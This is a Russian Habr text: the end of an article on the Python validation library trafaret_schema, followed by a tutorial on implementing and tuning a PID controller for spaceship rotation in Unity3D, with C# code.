Смотрим внимательно три раза и обращаем внимание на последнюю строчку перед скобкопадом — ключ рапортует обо всех ключах словаря которые он дергал. То есть Ключ может дернуть кучу ключей, а также вернуть любое число ключей. Знать какие ключи словаря дергал Ключ надо чтобы узнать есть ли в словаре лишние или дополнительные элементы.
Отсюда следует что ключ может взять сразу пачку ключей и проверить их разом. Это вообще было решение что делать с `password` & `password_confirmation` когда ключи сами себе такие независимые. Но в нашем случае задача несколько хитрее чем сравнить два ключа на равенство, а заложенная гибкость еще и не то позволяет сделать.
Встречаем `subdict`:
```
def subdict(name, *keys, **kw):
trafaret = kw.pop('trafaret') # coz py2k
def inner(data, context=None):
errors = False
preserve_output = [] # если будут ошибки, надо их все отсюда зарапортовать
touched = set()
collect = {}
for key in keys:
for k, v, names in key(data, context=context):
touched.update(names)
preserve_output.append((k, v, names))
if isinstance(v, t.DataError):
errors = True
else:
collect[k] = v
if errors:
for out in preserve_output:
yield out
elif collect: # в случае успеха всю пачку ключей со значениями можем передать более общему трафарету
yield name, t.catch(trafaret, **collect), touched
return inner
```
И примерно так он применен в недрах `trafaret_schema`:
```
subdict(
'array',
t.Key('items', optional=True, trafaret=ensure_list(json_schema)),
t.Key('additionalItems', optional=True, trafaret=json_schema),
trafaret=check_array,
),
```
Фигура третья, нужен стейт
==========================
Ну стейт не стейт, но с рождения трафарет был полностью функционально чист в своей душе. Все что попадает на конвеер никак не влияет на соседей. И это отлично! Наши добродушные и ни разу не элитарные приверженцы функциональщины разжевали это в терминах математики многократно.
Но на следующем уровне json схемы нас встречает мега босс — `$ref`. Очень разумная штука, позволяет ссылаться на уже определенную где-то другую схему. Например схема может быть определена в `definitions` или вообще в другом документе.
А значит в процессе разбора схемы все определения схема с их адресами нам надо собрать в одном месте. Потом проверить, что все $ref встреченные в документе имеют определения. А в процессе выполнения уже понятно — трафарет для $ref просто дернет нужный трафарет из реестра.
Ну хорошо, написать реестр раз плюнуть:
```
class Register:
def __init__(self):
"Аз есмь реестр"
pass
```
А вот дальше пришлось трафарет доработать и помимо стандартного аргумента `value` можно теперь пустить по цепочке в стандартные трафареты еще и `context=Any`. А собственно наш только что написанные `Register` и есть этот самый контекст.
Применяем примерно так для определения трафарета для `$ref`:
```
def ref_field(reference, context=None):
register = context # просто для читаемости называем context нормально
register.reg_reference(reference) # регистрируем своей значение $ref, чтобы можно было проверить целостность ссылок
def inner(value, context=None): # то все были замыкания, а вот и трафарет
schema = register.get_schema(reference) # получаем из реестра по ссылке наш трафарет
return schema(value, context=context) # проверяем с его помощью значение
return inner
```
Конечно самая морока это собрать ссылки на все возможное подсхемы.
Вот пример для дочерней схемы ссылку на которую хочется сохранить:
```
def deep_schema(key): # запоминаем ключик
def inner(data, context=None):
register = context
register.push(key) # этот самый key это часть пути до нашей дочерней схемы
# и собственно вся магия тут — все дочерние схемы тоже сделают push, и в реестре сохранится
# путь до каждого ключа
try:
schema = json_schema(data, context=register)
register.save_schema(schema) # если схема валидна, реестр запоминает нашу схему по данному пути
return schema
finally:
register.pop()
return t.Call(inner)
```
Зачем
=====
Лучшее от двух миров — json схема широко распространена и поддерживается любыми языками. А трафарет лучшая библиотека трансформаций с проверками под python. Точнее единственная. И главное, для ключевого слова `format` можно подсунуть любой трафарет примерно так:
```
import trafaret as t
from trafaret_schema import json_schema, Register
my_reg = Register()
my_reg.reg_format('any_ip', t.IPv4 | t.IPv6)
check_address = json_schema(open('address.rjson').read(), context=register)
check_person = json_schema(open('person.json').read(), context=register)
```
Итоги
=====
* `trafaret_schema` работает, готова к использованию, пишите если что не так, будем править. Смотрим <https://github.com/Deepwalker/trafaret_schema> или `pip install trafaret_schema`.
* В процессе `Trafaret` получил поддержку контекстов, а заодно уж и `async/await`, чтобы
в случае asyncio было что с этим контекстом делать.
* Мы получили этот замечательный текст как на трафаретах делать все что угодно, в том числе и другие трафареты. | https://habr.com/ru/post/336282/ | null | ru | null |
# ТАУ для самых маленьких: пример реализации ПИД-регулятора в Unity3D
Вместо введения
===============
**Системы автоматического управления (САУ)** предназначены для автоматического изменения одного или нескольких параметров объекта управления с целью установления требуемого режима его работы. САУ обеспечивает поддержание постоянства заданных значений регулируемых параметров или их изменение по заданному закону либо оптимизирует определенные критерии качества управления. Например, к таким системам относятся:
* системы стабилизации,
* системы программного управления,
* следящие системы
Это достаточно широкий класс систем, которые можно найти где угодно. Но какое это отношение имеет к Unity3D и вероятно к играм в частности? В принципе прямое: в любой игре так или иначе использующей симуляцию как элемент геймплея реализуются САУ, к таким играм относятся, например, Kerbal Space Programm, Digital Combat Simulator (бывший Lock On), [Strike Suit Zero](https://www.reddit.com/r/gamedev/comments/363w67/does_anyone_use_a_pidcontroller_in_games/crax14t/) и т.д. (кто знает еще примеры — пишите в комментариях). В принципе любая игра, моделирующая реальные физические процессы, в том числе и просто кинематику с динамикой движения, может реализовывать те или иные САУ — этот подход проще, естественнее, а у разработчика уже есть есть набор готовых инструментов, предоставленных всякими Вышнеградскими, Ляпуновыми, Калманами, Чебышевами и прочими Коломогоровами, поэтому можно обойтись без изобретения велосипеда, т.к. его уже изобрели, да так, что получилась отдельная наука: Теория автоматического управления. Главное тут не переусердствовать. Одна тут только проблема: рассказывают про ТАУ не везде, не всем, зачастую мало и не очень понятно.
Немножко теории
---------------
Классическая система автоматического управления представленная на следующем рисунке:
Ключевым элементом любой САУ является **регулятор** представляющий из себя устройство, которое следит за состоянием объекта управления и обеспечивает требуемый закон управления. Процесс управления включает в себя: вычисление ошибки управления или сигнала рассогласования ***e*(*t*)** как разницы между желаемой *уставкой* (set point или ***SP***) и текущей величиной процесса (process value или ***PV***), после чего регулятор вырабатывает управляющие сигналы (manipulated value или ***MV***).
Одной из разновидностью регуляторов является **пропорционально-интегрально-дифференцирующий (ПИД) регулятор**, который формирует управляющий сигнал, являющийся суммой трёх слагаемых: пропорционального, интегрального и дифференциального.
Где,  ошибка рассогласования, а также,  — пропорциональная,  — интегральная,  — дифференциальная составляющие (термы) закона управления, который в итоговом виде описывается следующими формулами
**Пропорциональная составляющая P** — отвечает за т.н. пропорциональное управление, смысл которого в том, что выходной сигнал регулятора, противодействует отклонению регулируемой величины (ошибки рассогласования или еще это называют невязкой) от заданного значения. Чем больше ошибка рассогласования, тем больше командное отклонение регулятора. Это самый простой и очевидный закон управления. *Недостаток* пропорционального закона управления заключается в том, что регулятор никогда не стабилизируется в заданном значении, а увеличение коэффициента пропорциональности всегда приводит к автоколебаниям. Именно поэтому в довесок к пропорциональному закону управления приходиться использовать интегральный и дифференциальный.
**Интегральная составляющая I** накапливает (интегрирует) ошибку регулирования, что позволяет ПИД-регулятору устранять статическую ошибку (установившуюся ошибку, остаточное рассогласование). Или другими словами: интегральное звено **всегда вносит некоторое смещение** и если система подвержена некоторыми постоянным ошибкам, то оно их компенсирует (за счет своего смещения). А вот если же этих ошибок нет или они пренебрежительно малы, то эффект будет обратным — интегральная составляющая сама будет вносить ошибку смещения. Именно по этой причине её не используют, например, в задачах сверхточного позиционирования. Ключевым *недостатком* интегрального закона управления является эффект насыщения интегратора (Integrator windup).
**Дифференциальная составляющая D** пропорциональна темпу изменения отклонения регулируемой величины и предназначена для противодействия отклонениям от целевого значения, которые **прогнозируются в будущем**. Примечательно то, что дифференциальная компонента устраняет затухающие колебания. Дифференциальное регулирование особенно эффективно для процессов, которые имеют большие запаздывания. *Недостатком* дифференциального закона управления является его неустойчивость к воздействую шумов (Differentiation noise).
Таким образом, в зависимости от ситуации могут применятся П-, ПД-, ПИ- и ПИД-регуляторы, но основным законом управления в основном является пропорциональный (хотя в некоторых специфических задачах и могут использоваться исключительно только звенья дифференциаторов и интеграторов).
Казалось бы, вопрос реализации ПИД-регуляторов уже давно избит и здесь на Хабре есть [парочка](https://habrahabr.ru/post/145991/) неплохих статей на эту тему [в том числе и на Unity3D](https://habrahabr.ru/post/267791/), также есть неплохая статья [PID Without a PhD](https://m.eet.com/media/1112634/f-wescot.pdf) ([перевод](http://roboforum.ru/wiki/%D0%9F%D0%B5%D1%80%D0%B5%D0%B2%D0%BE%D0%B4_%D1%81%D1%82%D0%B0%D1%82%D1%8C%D0%B8_%22%D0%9F%D1%80%D0%BE%D1%81%D1%82%D0%BE_%D0%BE_%D0%9F%D0%98%D0%94-%D0%B0%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC%D0%B0%D1%85%22)) и цикл статей в журнале "Современные технологии автоматизации" в двух частях: [первая](https://www.cta.ru/cms/f/364276.pdf) и [вторая](https://www.cta.ru/cms/f/374303.pdf). Также к вашим услугам статья на Википедии (наиболее полную читайте в английском варианте). А на форумах коммьюнити Unity3D нет-нет, да и всплывет [PID controller](https://answers.unity.com/questions/1407343/accelerometer-1.html) как и на [gamedev.stackexchange](https://gamedev.stackexchange.com/questions/1787/whats-the-best-way-to-train-pid-controllers)
При вопрос по реализации ПИД-регуляторов несколько глубже чем и кажется. Настолько, что юных самоделкиных, решивших, реализовать такую схему регулирования ждет немало открытий чудных, а тема актуальная. Так что надеюсь сей опус, кому-нибудь да пригодиться, поэтому приступим.
Попытка номер раз
=================
В качестве примера попытаемся реализовать схему регулирования на примере управления поворотом в простенькой космической 2D-аркаде, по шагам, начиная с самого начала (не забыли, что это туториал?).
Почему не 3D? Потому что реализация не измениться, за исключением того, что придется воротить ПИД-регулятор для контроля тангажа, рысканья и крена. Хотя вопрос корректного применения ПИД-регулирования вместе с [кватернионами](https://habrahabr.ru/post/183908/) действительно интересный, возможно в будущем его и освящу, но даже в [NASA предпочитают углы Эйлера](https://www.hq.nasa.gov/alsj/e-1344.htm) вместо кватернионов, так что обойдемся простенькой моделью на двухмерной плоскости.
Для начала создадим сам объект игровой объект космического корабля, который будет состоять из собственно самого объекта корабля на верхнем уровне иерархии, прикрепим к нему дочерний объект Engine (чисто спецэффектов ради). Вот как это выглядит у меня:
А на сам объект космического корабля накидаем в *инспекторе* всяческих компонент. Забегая вперед, приведу скрин того, как он будет выглядеть в конце:
Но это потом, а пока в нем еще нет никаких скриптов, только стандартный джентльменский набор: Sprite Render, RigidBody2D, Polygon Collider, Audio Source (зачем?).
Собственно физика у нас сейчас самое главное и управление будет осуществляться исключительно через неё, в противном случае, применение ПИД-регулятора потеряло бы смысл. Масса нашего космического корабля оставим также в 1 кг, а все коэффициенты трения и гравитации равны нулю — в космосе же.
Т.к. помимо самого космического корабля есть куча других, менее умных космических объектов, то сначала опишем родительский класс *BaseBody*, который в себе будет содержать ссылки на на наши компоненты, методы инициализации и уничтожения, а также ряд дополнительных полей и методов, например для реализации небесной механики:
**BaseBody.cs**
```
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
namespace Assets.Scripts.SpaceShooter.Bodies
{
[RequireComponent(typeof(SpriteRenderer))]
[RequireComponent(typeof(AudioSource))]
[RequireComponent(typeof(Rigidbody2D))]
[RequireComponent(typeof(Collider2D))]
public class BaseBody : MonoBehaviour
{
readonly float _deafultTimeDelay = 0.05f;
[HideInInspector]
public static List \_bodies = new List();
#region RigidBody
[HideInInspector]
public Rigidbody2D \_rb2d;
[HideInInspector]
public Collider2D[] \_c2d;
#endregion
#region References
[HideInInspector]
public Transform \_myTransform;
[HideInInspector]
public GameObject \_myObject;
///
/// Объект, который появляется при уничтожении
///
public GameObject \_explodePrefab;
#endregion
#region Audio
public AudioSource \_audioSource;
///
/// Звуки, которые проигрываются при получении повреждения
///
public AudioClip[] \_hitSounds;
///
/// Звуки, которые проигрываются при появлении объекта
///
public AudioClip[] \_awakeSounds;
///
/// Звуки, которые воспроизводятся перед смертью
///
public AudioClip[] \_deadSounds;
#endregion
#region External Force Variables
///
/// Внешние силы воздйствующие на объект
///
[HideInInspector]
public Vector2 \_ExternalForces = new Vector2();
///
/// Текущий вектор скорости
///
[HideInInspector]
public Vector2 \_V = new Vector2();
///
/// Текущий вектор силы гравитации
///
[HideInInspector]
public Vector2 \_G = new Vector2();
#endregion
public virtual void Awake()
{
Init();
}
public virtual void Start()
{
}
public virtual void Init()
{
\_myTransform = this.transform;
\_myObject = gameObject;
\_rb2d = GetComponent();
\_c2d = GetComponentsInChildren();
\_audioSource = GetComponent();
PlayRandomSound(\_awakeSounds);
BaseBody bb = GetComponent();
\_bodies.Add(bb);
}
///
/// Уничтожение персонажа
///
public virtual void Destroy()
{
\_bodies.Remove(this);
for (int i = 0; i < \_c2d.Length; i++)
{
\_c2d[i].enabled = false;
}
float \_t = PlayRandomSound(\_deadSounds);
StartCoroutine(WaitAndDestroy(\_t));
}
///
/// Ждем некоторое время перед уничтожением
///
/// Время ожидания
///
public IEnumerator WaitAndDestroy(float waitTime)
{
yield return new WaitForSeconds(waitTime);
if (\_explodePrefab)
{
Instantiate(\_explodePrefab, transform.position, Quaternion.identity);
}
Destroy(gameObject, \_deafultTimeDelay);
}
///
/// Проигрывание случайного звука
///
/// Массив звуков
/// Длительность проигрываемого звука
public float PlayRandomSound(AudioClip[] audioClip)
{
float \_t = 0;
if (audioClip.Length > 0)
{
int \_i = UnityEngine.Random.Range(0, audioClip.Length - 1);
AudioClip \_audioClip = audioClip[\_i];
\_t = \_audioClip.length;
\_audioSource.PlayOneShot(\_audioClip);
}
return \_t;
}
///
/// Получение урона
///
/// Уровень урона
public virtual void Damage(float damage)
{
PlayRandomSound(\_hitSounds);
}
}
}
```
Вроде описали все что надо, даже больше чем нужно (в рамках этой статьи). Теперь отнаследуем от него класс корабля *Ship*, который должен уметь двигаться и поворачивать:
**SpaceShip.cs**
```
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
namespace Assets.Scripts.SpaceShooter.Bodies
{
public class Ship : BaseBody
{
public Vector2 _movement = new Vector2();
public Vector2 _target = new Vector2();
public float _rotation = 0f;
public void FixedUpdate()
{
float torque = ControlRotate(_rotation);
Vector2 force = ControlForce(_movement);
_rb2d.AddTorque(torque);
_rb2d.AddRelativeForce(force);
}
public float ControlRotate(Vector2 rotate)
{
float result = 0f;
return result;
}
public Vector2 ControlForce(Vector2 movement)
{
Vector2 result = new Vector2();
return result;
}
}
}
```
Пока в нем нет ничего интересно, на текущий момент это просто класс-заглушка.
Также опишем базовый(абстрактный) класс для всех контроллеров ввода BaseInputController:
**BaseInputController.cs**
```
using UnityEngine;
using Assets.Scripts.SpaceShooter.Bodies;
namespace Assets.Scripts.SpaceShooter.InputController
{
public enum eSpriteRotation
{
Rigth = 0,
Up = -90,
Left = -180,
Down = -270
}
public abstract class BaseInputController : MonoBehaviour
{
public GameObject _agentObject;
public Ship _agentBody; // Ссылка на компонент логики корабля
public eSpriteRotation _spriteOrientation = eSpriteRotation.Up; //Это связано с нестандартной
// ориентации спрайта "вверх" вместо "вправо"
public abstract void ControlRotate(float dt);
public abstract void ControlForce(float dt);
public virtual void Start()
{
_agentObject = gameObject;
_agentBody = gameObject.GetComponent();
}
public virtual void FixedUpdate()
{
float dt = Time.fixedDeltaTime;
ControlRotate(dt);
ControlForce(dt);
}
public virtual void Update()
{
//TO DO
}
}
}
```
И наконец, класс контроллера игрока *PlayerFigtherInput*:
**PlayerInput.cs**
```
using UnityEngine;
using Assets.Scripts.SpaceShooter.Bodies;
namespace Assets.Scripts.SpaceShooter.InputController
{
public class PlayerFigtherInput : BaseInputController
{
public override void ControlRotate(float dt)
{
// Определяем позицию мыши относительно игрока
Vector3 worldPos = Input.mousePosition;
worldPos = Camera.main.ScreenToWorldPoint(worldPos);
// Сохраняем координаты указателя мыши
float dx = -this.transform.position.x + worldPos.x;
float dy = -this.transform.position.y + worldPos.y;
//Передаем направление
Vector2 target = new Vector2(dx, dy);
_agentBody._target = target;
//Вычисляем поворот в соответствии с нажатием клавиш
float targetAngle = Mathf.Atan2(dy, dx) * Mathf.Rad2Deg;
_agentBody._targetAngle = targetAngle + (float)_spriteOrientation;
}
public override void ControlForce(float dt)
{
//Передаем movement
_agentBody._movement = Input.GetAxis("Vertical") * Vector2.up
+ Input.GetAxis("Horizontal") * Vector2.right;
}
}
}
```
Вроде бы закончили, теперь наконец можно перейти к тому, ради чего все это затевалось, т.е. ПИД-регуляторам (не забыли надеюсь?). Его реализация кажется простой до безобразия:
```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Assets.Scripts.Regulator
{
[System.Serializable] // Этот атрибут необходим для того что бы поля регулятора
// отображались в инспекторе и сериализовывались
public class SimplePID
{
public float Kp, Ki, Kd;
private float lastError;
private float P, I, D;
public SimplePID()
{
Kp = 1f;
Ki = 0;
Kd = 0.2f;
}
public SimplePID(float pFactor, float iFactor, float dFactor)
{
this.Kp = pFactor;
this.Ki = iFactor;
this.Kd = dFactor;
}
public float Update(float error, float dt)
{
P = error;
I += error * dt;
D = (error - lastError) / dt;
lastError = error;
float CO = P * Kp + I * Ki + D * Kd;
return CO;
}
}
}
```
Значения коэффициентов по умолчанию возьмем с потолка: это будет тривиальный единичный коэффициент пропорционального закона управления Kp = 1, небольшое значение коэффициента для дифференциального закона управления Kd = 0.2, который должен устранить ожидаемые колебания и нулевое значение для Ki, которое выбрано потому, что в нашей программной модели нет никаких статичных ошибок (но вы всегда можете их внести, а потом героически побороться с помощью интегратора).
Теперь вернемся к нашему классу SpaceShip и попробуем заюзать наше творение в качестве регулятора поворота космического корабля в методе ControlRotate:
```
public float ControlRotate(Vector2 rotate)
{
float MV = 0f;
float dt = Time.fixedDeltaTime;
//Вычисляем ошибку
float angleError = Mathf.DeltaAngle(_myTransform.eulerAngles.z, targetAngle);
//Получаем корректирующее ускорение
MV = _angleController.Update(angleError, dt);
return MV;
}
```
ПИД-регулятор будет осуществлять точное угловое позиционировая космического корабля только за счет [крутящего момента](https://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D0%BC%D0%B5%D0%BD%D1%82_%D1%81%D0%B8%D0%BB%D1%8B). Все честно, физика и САУ, почти как в реальной жизни.
**И без этих ваших Quaternion.Lerp**
```
if (!_rb2d.freezeRotation)
rb2d.freezeRotation = true;
float deltaAngle = Mathf.DeltaAngle(_myTransform.eulerAngles.z, targetAngle);
float T = dt * Mathf.Abs( _rotationSpeed / deltaAngle);
// Трансформируем угол в вектор
Quaternion rot = Quaternion.Lerp(
_myTransform.rotation,
Quaternion.Euler(new Vector3(0, 0, targetAngle)),
T);
// Изменяем поворот объекта
_myTransform.rotation = rot;
```
**Получившейся исходный код Ship.cs под спойлером**
```
using UnityEngine;
using Assets.Scripts.Regulator;
namespace Assets.Scripts.SpaceShooter.Bodies
{
public class Ship : BaseBody
{
public GameObject _flame;
public Vector2 _movement = new Vector2();
public Vector2 _target = new Vector2();
public float _targetAngle = 0f;
public float _angle = 0f;
[Header("PID")]
public SimplePID _angleController = new SimplePID();
public void FixedUpdate()
{
float torque = ControlRotate(_targetAngle);
Vector2 force = ControlForce(_movement);
_rb2d.AddTorque(torque);
_rb2d.AddRelativeForce(force);
}
public float ControlRotate(float rotate)
{
float MV = 0f;
float dt = Time.fixedDeltaTime;
_angle = _myTransform.eulerAngles.z;
//Вычисляем ошибку
float angleError = Mathf.DeltaAngle(_angle, rotate);
//Получаем корректирующее ускорение
MV = _angleController.Update(angleError, dt);
return MV;
}
public Vector2 ControlForce(Vector2 movement)
{
Vector2 MV = new Vector2();
//Кусок кода спецэффекта работающего двигателя ради
if (movement != Vector2.zero)
{
if (_flame != null)
{
_flame.SetActive(true);
}
}
else
{
if (_flame != null)
{
_flame.SetActive(false);
}
}
MV = movement;
return MV;
}
}
}
```
Все? Расходимся по домам?
WTF! Что происходит? Почему корабль поворачивается как-то странно? И почему он так резко отскакивает от других объектов? Неужели этот глупый ПИД-регулятор не работает?
Без паники! Давайте попробуем разобраться что происходит.
В момент получения нового значения SP, происходит резкий (ступенчатый) скачок рассогласования ошибки, которая, как мы помним, вычисляется вот так:  соответственно происходит резкий скачок производной ошибки , которую мы вычисляем в этой строчке кода:
```
D = (error - lastError) / dt;
```
Можно, конечно, попробовать другие [схемы дифференцирования](http://mathhelpplanet.com/static.php?p=metody-chislennogo-differentsirovaniya), например, трехточечную, или пятиточечную, или… но все равно это не поможет. Ну вот не любят производные резких скачков — в таких точках функция *не является дифференцируемой*. Однако поэкспериментировать с разными схемами дифференцирования и интегрирования стоит, но потом и не в этой статье.
Думаю что настал момент построить графики [переходного процесса](https://en.wikipedia.org/wiki/Transient_response): ступенчатое воздействие от S(t) = 0 в SP(t) = 90 градусов для тела массой в 1 кг, длинной плеча силы в 1 метр и шагом сетки дифференцирования 0.02 с — прям как в нашем примере на Unity3D (на самом деле не совсем, при построении этих графиков не учитывалось, что момент инерции зависит от геометрии твердого тела, поэтому переходный процесс будет немножко другой, но все же достаточно похожий для демонстрации). Все величены на грифике приведены в абсолютных значениях:
Хм, что здесь происходит? Куда улетел отклик ПИД-регулятора?
Поздравляю, мы только что столкнулись с таким явлением как "удар" (kick). Очевидно, что в момент времени, когда процесс еще PV = 0, а уставка уже SP = 90, то при численном дифференцировании получим значение производной порядка 4500, которое умножится на *Kd=0.2* и сложится с пропорциональным теромом, так что на выходе мы получим значение углового ускорения 990, а это уже форменное надругательство над физической моделью Unity3D (угловые скорости будут достигать 18000 град/с… я думаю это предельное значение угловой скорости для RigidBody2D).
> * Может стоит подобрать коэффициенты ручками, так чтобы скачок был не таким сильным?
> * Нет! Самое лучше чего мы таким образом сможем добиться — небольшая амплитуда скачка производной, однако сам скачок как был так и останется, при этом можно докрутиться до полной неэффективности дифференциальной составляющей.
>
>
>
>
Впрочем можете поэкспериментировать.
Попытка номер два. Сатурация
============================
Логично, что *привод* (в нашем случае виртуальные маневровые двигатели SpaceShip), не может отрабатывать сколько угодно большие значения которые может выдать наш безумный регулятор. Так что первое что мы сделаем — [сатурируем](https://en.wikipedia.org/wiki/Saturation_arithmetic) выход регулятора:
```
public float ControlRotate(Vector2 rotate, float thrust)
{
float CO = 0f;
float MV = 0f;
float dt = Time.fixedDeltaTime;
//Вычисляем ошибку
float angleError = Mathf.DeltaAngle(_myTransform.eulerAngles.z, targetAngle);
//Получаем корректирующее ускорение
CO = _angleController.Update(angleError, dt);
//Сатурируем
MV = CO;
if (MV > thrust) MV = thrust;
if (MV< -thrust) MV = -thrust;
return MV;
}
```
**А очередной раз переписанный класс Ship полностью выглядит так**
```
namespace Assets.Scripts.SpaceShooter.Bodies
{
public class Ship : BaseBody
{
public GameObject _flame;
public Vector2 _movement = new Vector2();
public Vector2 _target = new Vector2();
public float _targetAngle = 0f;
public float _angle = 0f;
public float _thrust = 1f;
[Header("PID")]
public SimplePID _angleController = new SimplePID(0.1f,0f,0.05f);
public void FixedUpdate()
{
_torque = ControlRotate(_targetAngle, _thrust);
_force = ControlForce(_movement);
_rb2d.AddTorque(_torque);
_rb2d.AddRelativeForce(_force);
}
public float ControlRotate(float targetAngle, float thrust)
{
float CO = 0f;
float MV = 0f;
float dt = Time.fixedDeltaTime;
//Вычисляем ошибку
float angleError = Mathf.DeltaAngle(_myTransform.eulerAngles.z, targetAngle);
//Получаем корректирующее ускорение
CO = _angleController.Update(angleError, dt);
//Сатурируем
MV = CO;
if (MV > thrust) MV = thrust;
if (MV< -thrust) MV = -thrust;
return MV;
}
public Vector2 ControlForce(Vector2 movement)
{
Vector2 MV = new Vector2();
if (movement != Vector2.zero)
{
if (_flame != null)
{
_flame.SetActive(true);
}
}
else
{
if (_flame != null)
{
_flame.SetActive(false);
}
}
MV = movement * _thrust;
return MV;
}
public void Update()
{
}
}
}
```
Итоговая схема нашего САУ тогда станет уже вот такой
При этом уже становится понятно, что выход контроллера *CO(t)* немного не одно и тоже, что управляемая величина процесса *MV(t)*.
Собственно с этого места можно уже добавлять новую игровую сущность — *привод*, через которую и будет осуществляться управление процессом, логика работы которой может быть более сложной, чем просто Mathf.Clamp(), например, можно ввести дискретизацию значений (дабы не перегружать игровую физику величинами идущими шестыми после запятой), мертвую зону (опять таки не имеет смысл перегружать физику сверхмалыми реакциями), ввести задержку в упраление и нелинейность (например, сигмоиду) привода, после чего посмотреть, что из этого получится.
Запустив игру, мы обнаружим, что космический корабль стал наконец управляемым:
Если построить графики, то можно увидеть, что реакция контроллера стала уже вот такой:
*Здесь уже используются нормированные величены, углы поделены на значение SP, а выход контроллера отнормирован относительно максимального значения на котором уже происходит сатурация.*
Теперь на графике видно наличие ошибки перерегулирования (overshooting) и затухающие колебания. Уменьшая *Kp* и увеличивая *Kd* можно добиться уменьшения колебаний, но зато увеличится время реакции контроллера (скорость поворота корабля). И наоборот, увеличивая *Kp* и уменьшая *Kd* — можно добиться увеличения скорости реакции контроллера, но появятся паразитные колебания, которые при определенных (критических) значениях, перестанут быть затухающими.
Ниже приведена известна таблица влияния увеличения параметров ПИД-регулятора (*как уменьшить шрифт, а то таблица безе переносов не лезет?*):
| Терм | Время нарастания | Ошибка перерегулирования | Время переходного процесса | Установившаяся ошибка | Стабильность |
| --- | --- | --- | --- | --- | --- |
| Kp | Уменьшение | Увеличение | Небольшие изменения | Уменьшается | Деградирует |
| Ki | Уменьшается | Увеличивается | Увеличивается | Компенсируется если есть | Деградирует |
| Kd | Небольшие изменения | Уменьшается | Уменьшается | | Повышается если Kd небольшая |
А общий алгоритм ручной настройки ПИД-регулятора следующий:
> 1. Подбираем пропорциональный коэффициенты при отключенных дифференциальных и интегральных звеньях до тех пор пока не начнутся автоколебания.
> 2. Постепенно увеличивая дифференциальную составляющую избавляемся от автоколебаний
> 3. Если наблюдается остаточная ошибка регулирования (смещение), то устраняем её за счет интегральной составляющей.
>
>
>
>
Каких-то общих значений параметров ПИД-регулятора нет: конкретные значения зависят исключительно от параметров процесса (его [передаточной характеристики](https://ru.wikipedia.org/wiki/%D0%9F%D0%B5%D1%80%D0%B5%D0%B4%D0%B0%D1%82%D0%BE%D1%87%D0%BD%D0%B0%D1%8F_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F)): ПИД-регулятор отлично работающий с одним объектом управления окажется неработоспособным с другим. Более того, коэффициенты при пропорциональной, интегральной и дифференциальной составляющих еще и взаимозависимы.
В общем не будем о грустном, дальше нас ждет самое интересное...
Попытка номер три. Еще раз производные
======================================
Приделав костыль в виде ограничения значений выхода контроллера мы так и не решили самую главную проблему нашего регулятора — дифференциальная составляющая плохо себя чувствует при ступенчатом изменении ошибки на входе регуляторе. На самом деле есть множество других костылей, например, в момент скачкообразного изменения SP "отключать" дифференциальную составляющую или же поставить фильтры нижних частот между *SP(t)* и операцией  за счет которого будет происходить плавное нарастание ошибки, а можно совсем развернуться и впендюрить самый настоящий фильтр Калмана для сглаживания входных данных. В общем костылей много, и добавить [*наблюдателя*](https://en.wikipedia.org/wiki/State_observer) конечно хотелось бы, но не в этот раз.
Поэтому снова вернемся к производной ошибки рассогласования и внимательно на неё посмотрим:
Ничего не заметили? Если хорошенько присмотреться, то можно обнаружить, что вообще-то SP(t), не меняется во времени (за исключением моментов ступенчатого изменения, когда регулятор получает новую команду), т.е. её производная равна нулю:
тогда
Иными словами, вместо производной ошибки, которая дифференцируема **не везде** мы можем использовать производную от процесса, который в мире классической механики как правило непрерывен и дифференцируем везде, а схема нашей САУ уже приобретет следующий вид:
Модифицируем код регулятора:
```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Assets.Scripts.Regulator
{
[System.Serializable]
public class SimplePID
{
public float Kp, Ki, Kd;
private float P, I, D;
private float lastPV = 0f;
public SimplePID()
{
Kp = 1f;
Ki = 0f;
Kd = 0.2f;
}
public SimplePID(float pFactor, float iFactor, float dFactor)
{
this.Kp = pFactor;
this.Ki = iFactor;
this.Kd = dFactor;
}
public float Update(float error, float PV, float dt)
{
P = error;
I += error * dt;
D = -(PV - lastPV) / dt;
lastPV = PV;
float CO = Kp * P + Ki * I + Kd * D;
return CO;
}
}
}
```
И немного изменим метод ControlRotate:
```
public float ControlRotate(Vector2 rotate, float thrust)
{
float CO = 0f;
float MV = 0f;
float dt = Time.fixedDeltaTime;
//Вычисляем ошибку
float angleError = Mathf.DeltaAngle(_myTransform.eulerAngles.z, targetAngle);
//Получаем корректирующее ускорение
CO = _angleController.Update(angleError, _myTransform.eulerAngles.z, dt);
//Сатурируем
MV = CO;
if (CO > thrust) MV = thrust;
if (CO < -thrust) MV = -thrust;
return MV;
}
```
И-и-и-и… если запустить игру, то обнаружиться, что на самом деле ничего ничего не изменилось с последней попытки, что и требовалось доказать. Однако, если убрать сатурацию, то график реакции регулятора будет выглядеть вот так:
Скачок *CO(t)* по прежнему присутствует, однако он уже не такой большой как был в самом начале, а самое главное — он стал предсказуемым, т.к. обеспечивается исключительно пропорциональной составляющей, и ограничен максимально возможной ошибкой рассогласования и пропорциональным коэффициентом ПИД-регулятора (а это уже намекает на то, что *Kp* имеет смысл выбрать все же меньше единицы, например, 1/90f), но не зависит от шага сетки дифференцирования (т.е. *dt*). В общем, я настоятельно рекомендую использовать именно производную процесса, а не ошибки.
*Думаю теперь никого не удивит, но таким же макаром можно заменить  на , однако останавливаться на этом мы не будем, можете сами поэкспериментировать и рассказать в комментариях, что из этого получилось (самому интересно)*
Попытка номер четыре. Альтернативные реализации ПИД-регулятор
=============================================================
Помимо описанного выше идеального представления ПИД-регулятора, на практике часто применяется стандартная форма, без коэффициентов *Ki* и *Kd*, вместо которых используются временные постоянные.
Такой подход связан с тем, что ряд методик настройки ПИД-регулятора основан на частотных характеристиках ПИД-регулятора и процесса. Собственно вся ТАУ и крутится вокруг частотных характеристик процессов, поэтому для желающих углубиться, и, внезапно, столкнувшихся с альтернативной номенклатурой, приведу пример т.н. **стандартной формы** ПИД-регулятора:
где,  — постоянная дифференцирования, влияющая на прогнозирование состояния системы регулятором,
 — постоянная интегрирования, влияющая на интервал усреднения ошибки интегральным звеном.
Основные принципы настройки ПИД-регулятора в стандартной форме аналогичны идеализированному ПИД-регулятору:
